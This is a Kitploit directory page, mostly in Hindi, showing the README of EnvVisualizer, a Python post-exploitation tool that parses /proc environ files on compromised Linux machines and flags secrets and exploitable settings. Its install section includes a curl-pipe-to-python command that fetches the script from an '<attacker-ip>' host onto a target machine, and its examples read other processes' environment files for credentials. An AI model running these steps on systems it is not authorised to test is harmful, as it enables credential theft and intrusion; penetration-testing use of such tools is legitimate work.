Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
EnvVisualizer — समझौता किए गए Linux बॉक्स पर /proc/self/environ को पार्स और विज़ुअलाइज़ करें — env वेरिएबल्स को टेक स्टैक (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, आदि…) के अनुसार वर्गीकृत करता है और तैयार-से-चलाने योग्य कमांड्स के साथ गंभीरता-रेटेड इनसाइट्स उत्पन्न करता है | Kitploit
उपकरण/GitHubGitHub/w4r10ck423/envvisualizer
रक्षात्मक उपकरणभेद्यता विश्लेषणकॉन्फ़िगरेशन ऑडिटिंगजानकारी एकत्र करनापोस्ट-शोषणCTFपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षासीक्रेट डिटेक्शनरेड टीमिंग
GitHubw4r10ck423/envvisualizer
1965 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

EnvVisualizer

समझौता किए गए Linux बॉक्स पर /proc/self/environ को पार्स और विज़ुअलाइज़ करें — env वेरिएबल्स को टेक स्टैक (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, आदि…) के अनुसार वर्गीकृत करता है और तैयार-से-चलाने योग्य कमांड्स के साथ गंभीरता-रेटेड इनसाइट्स उत्पन्न करता है

रिपॉजिटरी देखें
साझा करें

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

समझौता किए गए Linux मशीनों पर /proc/self/environ को पार्स, वर्गीकृत और विज़ुअलाइज़ करें।
जुड़े हुए environment variable टेक्स्ट की दीवार को कुछ ही सेकंड में संरचित, रंग-कोडित intel में बदलें।


Python Platform License Context Author

लेखक: @W4r10ck423


समस्या

जब आप किसी बॉक्स पर पहुँचते हैं और /proc/self/environ पढ़ते हैं, तो आपको यह मिलता है:

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer इसे इसमें बदल देता है:

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

rich इंस्टॉल होने पर, प्रत्येक श्रेणी को अपनी रंग-कोडित तालिका मिलती है।


विशेषताएँ

  • तीन इनपुट मोड — फ़ाइल को सीधे पढ़ें (पूर्ण सटीकता), stdin के माध्यम से पाइप करें, या एक कच्ची स्ट्रिंग पेस्ट करें
  • स्मार्ट दो-वर्ग पार्सर — कॉपी-पेस्ट द्वारा null bytes हटाए जाने पर जुड़ी हुई स्ट्रिंग्स को सही ढंग से संभालता है; uppercase POSIX vars और ज्ञात lowercase prefixed vars (npm_*, node_*, pip_*, आदि) का पता लगाता है
  • छह सिमेंटिक श्रेणियाँ — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System, और Other
  • PATH विस्तार — प्रत्येक निर्देशिका को colon-separated दीवार के बजाय बुलेट पॉइंट के रूप में सूचीबद्ध किया जाता है
  • Secret डिटेक्शन — उन वेरिएबल्स को चिह्नित करता है जिनके नाम या मान credential पैटर्न (TOKEN, KEY, SECRET, PASSWORD, आदि) से मेल खाते हैं, ⚠ चेतावनी के साथ
  • Pentest Insights पैनल — स्वचालित रूप से कार्रवाई योग्य निष्कर्ष सामने लाता है: root context, sudo escalation, उजागर Node.js debugger पोर्ट, सक्रिय lifecycle स्क्रिप्ट
  • Rich या plain — rich इंस्टॉल होने पर रंग-कोडित तालिकाएँ; fallback के रूप में साफ़ plain-text आउटपुट (शून्य निर्भरता आवश्यक)

इंस्टॉलेशन

विकल्प 1 — क्लोन करें और चलाएँ (pentest वातावरण के लिए अनुशंसित)

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

विकल्प 2 — सिस्टम कमांड के रूप में इंस्टॉल करें

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

विकल्प 3 — सिंगल-फ़ाइल ड्रॉप (git की आवश्यकता नहीं)

envvisualizer.py को लक्ष्य या हमलावर मशीन पर कॉपी करें। यह शून्य निर्भरता के साथ चलता है:

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

आवश्यकताएँ

DependencyVersionRequired
Python≥ 3.8Yes
rich≥ 13.0No (plain-text fallback)

उपयोग

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

इनपुट मोड

MethodCommandAccuracy
Direct file readpython3 envvisualizer.py -f /proc/self/environ✅ Perfect (null-byte split)
Stdin pipecat /proc/self/environ | python3 envvisualizer.py✅ Perfect (null-byte split)
Pasted stringpython3 envvisualizer.py -r 'USER=dev...'✅ Good (two-class heuristic)
No args (demo)python3 envvisualizer.py✅ Perfect (own process)

सुझाव: जब भी आपके पास फ़ाइल एक्सेस हो, -f को प्राथमिकता दें।
वास्तविक फ़ाइल में null-byte delimiter सटीक है — किसी heuristic की आवश्यकता नहीं।


उदाहरण

proc से सीधे पढ़ें (सर्वोत्तम सटीकता)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

stdin के माध्यम से पाइप करें

cat /proc/self/environ | python3 envvisualizer.py

एक कच्ची स्ट्रिंग पेस्ट करें (web shell / RCE आउटपुट से कॉपी-पेस्ट किया गया)

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Plain-text आउटपुट (rich निर्भरता के बिना)

python3 envvisualizer.py -f /proc/self/environ --no-rich

आउटपुट श्रेणियाँ

टूल डाउनलोड करें